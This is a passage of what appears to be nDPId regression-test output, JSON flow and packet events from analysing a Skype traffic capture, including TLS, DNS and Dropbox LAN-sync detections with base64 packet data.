+00514{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":16,"flow_first_seen":1431969727446,"flow_last_seen":1431969727738,"flow_tot_l4_data_len":2056,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1384,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":50133,"dst_port":13392,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00494{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":16,"flow_first_seen":1431969727446,"flow_last_seen":1431969727738,"flow_tot_l4_data_len":2056,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1384,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":50133,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":20,"flow_first_seen":1431969716182,"flow_last_seen":1431969728657,"flow_tot_l4_data_len":944,"flow_min_l4_data_len":20,"flow_max_l4_data_len":142,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.133.19.185","src_port":50122,"dst_port":44431,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":257,"flow_packet_id":20,"flow_first_seen":1431969716182,"flow_last_seen":1431969728657,"flow_tot_l4_data_len":944,"flow_min_l4_data_len":20,"flow_max_l4_data_len":142,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"81.133.19.185","src_port":50122,"dst_port":44431,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":1,"flow_first_seen":1431969792168,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.51","src_port":50145,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":313,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3224,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969792,"pkt_ts_usec":168841,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA6r1AAEAGu8TAqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/d0gAAAgQFtAEDAwUBAQgKPiTRYQAAAAAEAgAA"} +00439{"flow_id":305,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3225,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969792,"pkt_ts_usec":230105,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GDFAAEAG4jnAqAEiUA4uecPdET\/5wLpfrY8XW4AZECjrCQAAAQEICj4k0Z4AA1guNacy1AseEXM="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3227,"source":"skype.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":1,"flow_first_seen":1431969792778,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.53.51","src_port":50146,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":314,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3227,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969792,"pkt_ts_usec":778032,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABACyhAAEAGm1rAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/\/F2QAAAgQFtAEDAwUBAQgKPiTTwgAAAAAEAgAA"} +00444{"flow_id":313,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3228,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969793,"pkt_ts_usec":170537,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABATYlAAEAGWPnAqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/Z6gAAAgQFtAEDAwUBAQgKPiTVSQAAAAAEAgAA"} +00438{"flow_id":308,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3229,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969793,"pkt_ts_usec":341864,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA810BAAEAGcHPAqAEiTsric8PfcYPq0omdOI9v9YAZECqSCAAAAQEICj4k1fQCUMlGXTwVWHHTywE="} +00444{"flow_id":314,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3231,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969793,"pkt_ts_usec":781225,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXRdAAEAGSWvAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/\/B8AAAAgQFtAEDAwUBAQgKPiTXqwAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3232,"source":"skype.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":1,"flow_first_seen":1431969793871,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55893,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":315,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3232,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969793,"pkt_ts_usec":871150,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA68cwAAEARBXPAqAEiwKgBAdpVADUAJgS+DhkBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3232,"source":"skype.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":1,"flow_first_seen":1431969793871,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":55893,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"ui.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00444{"flow_id":313,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3233,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969794,"pkt_ts_usec":172396,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAj1lAAEAGFynAqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/WAgAAAgQFtAEDAwUBAQgKPiTZMQAAAAAEAgAA"} +00444{"flow_id":314,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3234,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969794,"pkt_ts_usec":784356,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA\/CFAAEAGqmDAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/++BwAAAgQFtAEDAwUBAQgKPiTblAAAAAAEAgAA"} +00438{"flow_id":295,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3235,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969794,"pkt_ts_usec":907548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8W2xAAEAGL9jAqAEiTKehBsPXTzInl3b0mo2mjYAZECqpCwAAAQEICj4k3A++obtETjjGVAMHb58="} +00433{"flow_id":315,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3236,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969794,"pkt_ts_usec":907744,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6ITcAAEAR1gjAqAEiwKgBAdpVADUAJgS+DhkBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00444{"flow_id":313,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3237,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969795,"pkt_ts_usec":174717,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAMhBAAEAGdHLAqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/SGQAAAgQFtAEDAwUBAQgKPiTdGgAAAAAEAgAA"} +00443{"flow_id":314,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3238,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969795,"pkt_ts_usec":785923,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAEgtAAEAGlHfAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/+6HgAAAgQFtAEDAwUBAQgKPiTffQAAAAAEAgAA"} +00431{"flow_id":315,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3239,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969796,"pkt_ts_usec":1633,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6focAAEAReLjAqAEiwKgBAdpVADUAJgS+DhkBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00445{"flow_id":313,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3241,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969796,"pkt_ts_usec":177214,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABASbNAAEAGXM\/AqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/OMAAAAgQFtAEDAwUBAQgKPiThAwAAAAAEAgAA"} +00443{"flow_id":314,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3242,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969796,"pkt_ts_usec":788485,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAV05AAEAGTzTAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/+2NQAAAgQFtAEDAwUBAQgKPiTjZgAAAAAEAgAA"} +00438{"flow_id":308,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3243,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969797,"pkt_ts_usec":420696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UPBAAEAG9sPAqAEiTsric8PfcYPq0omdOI9v9YAZECqCHwAAAQEICj4k5d0CUMlGXTwVWHHTywE="} +00439{"flow_id":305,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3244,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969797,"pkt_ts_usec":782982,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ZsJAAEAGk6jAqAEiUA4uecPdET\/5wLpfrY8XW4AZECjVYAAAAQEICj4k50cAA1guNacy1AseEXM="} +00443{"flow_id":314,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3245,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969797,"pkt_ts_usec":791071,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABADyZAAEAGl1zAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/+yTAAAAgQFtAEDAwUBAQgKPiTnTwAAAAAEAgAA"} +00444{"flow_id":313,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3246,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969798,"pkt_ts_usec":180247,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAG95AAEAGiqTAqAEinTg1M8PhMD4fbaHhAAAAALAC\/\/\/GXwAAAgQFtAEDAwUBAQgKPiTo1AAAAAAEAgAA"} +00432{"flow_id":315,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3247,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969799,"pkt_ts_usec":18123,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6VP0AAEARokLAqAEiwKgBAdpVADUAJgS+DhkBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00443{"flow_id":314,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3248,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969799,"pkt_ts_usec":793474,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAgi9AAEAGJFPAqAEinTg1M8PiAbsrN9oxAAAAALAC\/\/+qewAAAgQFtAEDAwUBAQgKPiTvIAAAAAAEAgAA"} +00433{"flow_id":315,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3250,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969802,"pkt_ts_usec":19013,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6+ugAAEAR\/FbAqAEiwKgBAdpVADUAJgS+DhkBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":17,"flow_first_seen":1431969722958,"flow_last_seen":1431969740384,"flow_tot_l4_data_len":802,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50130,"dst_port":13392,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":17,"flow_first_seen":1431969722958,"flow_last_seen":1431969740384,"flow_tot_l4_data_len":802,"flow_min_l4_data_len":20,"flow_max_l4_data_len":132,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50130,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":14,"flow_first_seen":1431969714398,"flow_last_seen":1431969733216,"flow_tot_l4_data_len":676,"flow_min_l4_data_len":20,"flow_max_l4_data_len":139,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":50113,"dst_port":18767,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":14,"flow_first_seen":1431969714398,"flow_last_seen":1431969733216,"flow_tot_l4_data_len":676,"flow_min_l4_data_len":20,"flow_max_l4_data_len":139,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"71.238.7.203","src_port":50113,"dst_port":18767,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":18,"flow_first_seen":1431969725833,"flow_last_seen":1431969741920,"flow_tot_l4_data_len":800,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":50132,"dst_port":13392,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":18,"flow_first_seen":1431969725833,"flow_last_seen":1431969741920,"flow_tot_l4_data_len":800,"flow_min_l4_data_len":20,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"149.13.32.15","src_port":50132,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":313,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3251,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969802,"pkt_ts_usec":183087,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"0NQSxnP1PBXCt3IOCABFAAAwHcFAAEAGiNHAqAEinTg1M8PhMD4fbaHhAAAAAHAC\/\/86fAAAAgQFtAQCAAA="} +00439{"flow_id":308,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3252,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969803,"pkt_ts_usec":191195,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8AztAAEAGRHnAqAEiTsric8PfcYPq0omdOI9v9YAZECprlwAAAQEICj4k\/GUCUMlGXTwVWHHTywE="} +00423{"flow_id":314,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3253,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969803,"pkt_ts_usec":795574,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"0NQSxnP1PBXCt3IOCABFAAAwuxNAAEAG637AqAEinTg1M8PiAbsrN9oxAAAAAHAC\/\/8k5AAAAgQFtAQCAAA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3255,"source":"skype.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":1,"flow_first_seen":1431969807022,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01081{"flow_id":316,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3255,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969807,"pkt_ts_usec":22348,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISnUMAAEARGc7AqAEi\/\/\/\/\/0RcRFwB\/vqceyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3255,"source":"skype.pcap","alias":"nDPId-test","flow_id":316,"flow_packet_id":1,"flow_first_seen":1431969807022,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3256,"source":"skype.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":1,"flow_first_seen":1431969807022,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01077{"flow_id":317,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3256,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969807,"pkt_ts_usec":22553,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/PBXCt3IOCABFAAISO+0AAEARuHzAqAEiwKgB\/0RcRFwB\/jf1eyJob3N0X2ludCI6IDE1NzMxOTU0NDUsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3256,"source":"skype.pcap","alias":"nDPId-test","flow_id":317,"flow_packet_id":1,"flow_first_seen":1431969807022,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00426{"flow_id":310,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3260,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969807,"pkt_ts_usec":279157,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HSRAAEAGKpjAqAEiTsric8PgcYPYQ6CkVPCO1YARECnK3QAAAQEICj4lDFgCUMnN"} 